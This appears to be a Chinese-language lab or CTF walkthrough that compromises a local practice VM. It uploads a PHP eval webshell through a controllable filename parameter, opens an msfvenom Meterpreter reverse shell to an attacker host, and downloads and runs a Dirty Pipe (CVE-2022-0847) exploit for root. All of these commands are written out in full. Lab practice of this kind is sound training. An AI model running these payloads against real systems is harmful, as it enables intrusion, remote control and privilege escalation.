1 信息收集

1.1 主机发现

arp-scan -l 

1.2 端口与服务扫描

发现开放22、80、81端口

2 访问服务

2.1 访问80端口

查看源代码

2.2 访问81端口

3 目录扫描

3.1 dirsearch目录扫描

dirsearch -u 192.168.1.14

发现robots.txt文件和javascript文件

访问文件

http://192.168.1.14/robots.txt

robot.txt提示我们继续找找

http://192.168.1.14/javascript/

3.2 gobuster扫描

还是将重点放回80端口，因为robot.txt提示我们继续找找，可能是因为我们的字典太小了，我们换个扫描器换个字典试下,利用kali自带的最大的一个字典。

gobuster的效率相比于dirsearch来说更快，当字典过大的时候选择gobuster是一个不错的选择。

gobuster dir -u http://192.168.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

通过gobuster扫描了一个几十万的字典，我们可以看到有一个graffiti.php。这个可能就是关键点,尝试访问web页面。

http://192.168.1.14/graffiti.php

4 渗透测试

4.1 抓包尝试

尝试输入1提交，并打开burp抓包啊查看，发现网站会将提交的内容追加到graffiti.txt文件中。

此时猜想该POST数据中的filename参数是否可控，因为内容是可控的，只要文件名可控，那么我们就可以轻易进行文件上传了。尝试保存为shell.php,点击send。

发现可以成功访问，接下来直接上传一句话木马。

   <?php @eval($_POST['cmd']); ?>

成功连接蚁剑执行命令发现为www-data权限。

5 提权

5.1 利用MSF工具生成反弹连接

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.52 lport=4444 -o shell4.php

开启简易HTTP服务

python3 -m http.server 

利用靶机下载反弹连接文件

攻击机开启MSF监听

use exploit/multi/handler 
set lhost 192.168.1.52 
set payload php/meterpreter/reverse_tcp
set lport 4444
show options
run

访问反弹连接文件

MSF反弹连接成功监听

5.2 利用脚本搜集漏洞

利用交互式Shell进入

python3 -c 'import pty;pty.spawn("/bin/bash")'

脚本地址：https://github.com/The-Z-Labs/linux-exploit-suggester

下载脚本

wget 192.168.1.52:8000/linux-exploit-suggester.sh

查看脚本权限，并且给脚本赋可执行权

ls -al
chmod +x linux-exploit-suggester

开测

./linux-exploit-suggester.sh

5.3 利用CVE漏洞提权

github上找到exp

https://github.com/r1is/CVE-2022-0847

让靶机下载

wget 192.168.1.52:8000/Dirty-Pipe.sh

给脚本赋可执行权并执行脚本

chmod +x Dirty-Pipe.sh
./Dirty-Pipe.sh
whoami